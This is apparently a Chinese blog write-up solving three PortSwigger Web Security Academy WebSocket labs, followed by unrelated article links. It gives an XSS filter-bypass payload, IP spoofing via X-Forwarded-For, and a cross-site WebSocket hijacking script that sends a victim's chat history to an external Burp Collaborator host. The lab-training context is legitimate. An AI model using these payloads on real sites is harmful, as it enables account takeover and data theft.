Portswigger web security academy:WebSockets

Lab: Manipulating WebSocket messages to exploit vulnerabilities

  • 题目描述

    • 在线商城有一个用WebSockets实现的在线聊天功能
    • 你提交的聊天消息会被辅助客户端实时查看
  • 要求
    • 使用WebScoket消息触发alert()
  • 解题步骤
    • 只是把HTTP协议换成WebSockets协议,核心思想方法没有变
    • 在WebSockets history中把发送信息的请求包发送到Repeater
    • 把消息内容修改为xss payload

Lab: Manipulating the WebSocket handshake to exploit vulnerabilities

  • 题目描述

    • 在线商城有一个用WebSockets实现的在线聊天功能
    • 它有一个主动但是存在缺陷的XSS过滤器
  • 要求
    • 使用WebScoket消息触发alert()
  • 解题过程
    • 测一下过滤了些啥:(连接失败后,利用X-Forwarded-For伪造IP重置连接即可)

      • 过滤了n多标签,iframe可用
      • 过滤了()
      • 过滤了onxxxx事件
      • 过滤了javascript
    • 最后的payload和solution一样 <iframe src='JavAsCript:alert`1`'>

Lab: Cross-site WebSocket hijacking

  • 题目描述

    • 在线商城有一个用WebSockets实现的在线聊天功能
  • 要求

    • 使用exploit server构造一个跨站点WebSocket劫持攻击,来获取受害者的聊天历史,并接管账号
  • 解题过程

    • websocket劫持和利用iframe通信进行csrf比较类似,通过事件绑定来返回数据

    • 脚本参考solution,没有考虑到onopen事件的处理

    • <script>
      websocket = new WebSocket('wss://ac9c1ff41e8e379c807359aa0094001e.web-security-academy.net/chat')
      websocket.onopen = function start(event) {
      websocket.send("READY");
      }
      websocket.onmessage = function handleReply(event) {
      fetch('https://4bg8qgdszeud8bkot06y0rrg177xvm.burpcollaborator.net/?'+event.data, {mode: 'no-cors'})
      } </script>

Portswigger web security academy:WebSockets的更多相关文章

  1. Portswigger web security academy:Clickjacking (UI redressing)

    Portswigger web security academy:Clickjacking (UI redressing) 目录 Portswigger web security academy:Cl ...

  2. Portswigger web security academy:Cross-origin resource sharing (CORS)

    Portswigger web security academy:Cross-origin resource sharing (CORS) 目录 Portswigger web security ac ...

  3. Portswigger web security academy:XML external entity (XXE) injection

    Portswigger web security academy:XML external entity (XXE) injection 目录 Portswigger web security aca ...

  4. Portswigger web security academy:Cross-site request forgery (CSRF)

    Portswigger web security academy:Cross-site request forgery (CSRF) 目录 Portswigger web security acade ...

  5. Portswigger web security academy:OAth authentication vulnerable

    Portswigger web security academy:OAth authentication vulnerable 目录 Portswigger web security academy: ...

  6. Portswigger web security academy:Server-side request forgery (SSRF)

    Portswigger web security academy:Server-side request forgery (SSRF) 目录 Portswigger web security acad ...

  7. Portswigger web security academy:OS command injection

    Portswigger web security academy:OS command injection 目录 Portswigger web security academy:OS command ...

  8. Portswigger web security academy:SQL injection

    Portswigger web security academy:SQL injection 目录 Portswigger web security academy:SQL injection SQL ...

  9. Portswigger web security academy:Server-side template injection(SSTI)

    Portswigger web security academy:Server-side template injection(SSTI) 目录 Portswigger web security ac ...

随机推荐

  1. Java 并发编程小册整理好了

    Java 有并发,并发知识之大,一口吃不下 这曾是我不愿意触碰的知识角 多次一头扎进并发,无功而返 为应对面试,临时苦苦记忆,不成体系 这一次我决定从基础开始,攻克它 12,0000 字 68Mb 高 ...

  2. 七种方案!探讨Redis分布式锁的正确使用姿势

    前言 日常开发中,秒杀下单.抢红包等等业务场景,都需要用到分布式锁.而Redis非常适合作为分布式锁使用.本文将分七个方案展开,跟大家探讨Redis分布式锁的正确使用方式.如果有不正确的地方,欢迎大家 ...

  3. JSP原理剖析

    什么是JSP JSP长得和html没有区别,但是服务器会把jsp转换为servlet类 JSP(Java Server Page)Java服务器端页面,和Servlet一样,用于动态Web 在jsp之 ...

  4. Apache配置 2.用户认证

    1.用户认证用来对某些目录中的网页进行访问控制,当用户访问这些页面的时候需要输入用户名和密码进行认证. 2. 配置: # vim /usr/local/apache2.4/conf/extra/htt ...

  5. Linux开发环境搭建——deepin系统的使用

    上大学的时候就在自己的笔记本上安装过深度操作系统(deepin),当时好像是15.x的版本.毕业后第一家公司是全Mac办公,因在学校期间有过完全Linux环境下的开发体验,上手Mac非常快.非常爽.前 ...

  6. 妙味课上利用splice进行数组去重为什么要 j--

    var arr = [ 1,2,2,4,4,5,8,8,9,0,4,4 ]; for ( var i=0; i<arr.length; i++ ) { for ( var j=i+1; j< ...

  7. 全量同步Elasticsearch方案之Canal

    一.前言 Canal 是阿里的一款开源项目,纯 Java 开发.基于数据库增量日志解析,提供增量数据订阅&消费,目前主要支持了 MySQL(也支持 mariaDB). Canal 除了支持 b ...

  8. [^ ] 跟 [! ] 差在哪?-- Shell十三问<第十四问>

    [^ ] 跟 [! ] 差在哪?-- Shell十三问<第十四问> 这道题目说穿了, 就是要探讨 Wildcard(通配符)与 Regular Expression(正则表达式)的差别的. ...

  9. Sql Server Report Service访问服务页面503解决方法

    这个问题可能性比较多,也有多个方案去解决,可以从如下方法里逐个测试 1.打最新的数据库补丁. 2.删除报表服务配置的密钥,重启报表服务. 3.修改报表服务器配置的用户账户为域管理员 4.找到报表服务器 ...

  10. IntelliJ IDEA/Android Studio插件开发指南

    前言 目前在为安卓手机QQ做自动化的相关工作,包括UI自动化,逻辑层自动化等.使用到的uiautomator等框架,需要在Android Studio进行编码工作. 其中很多工作如果做到插件化的话,可 ...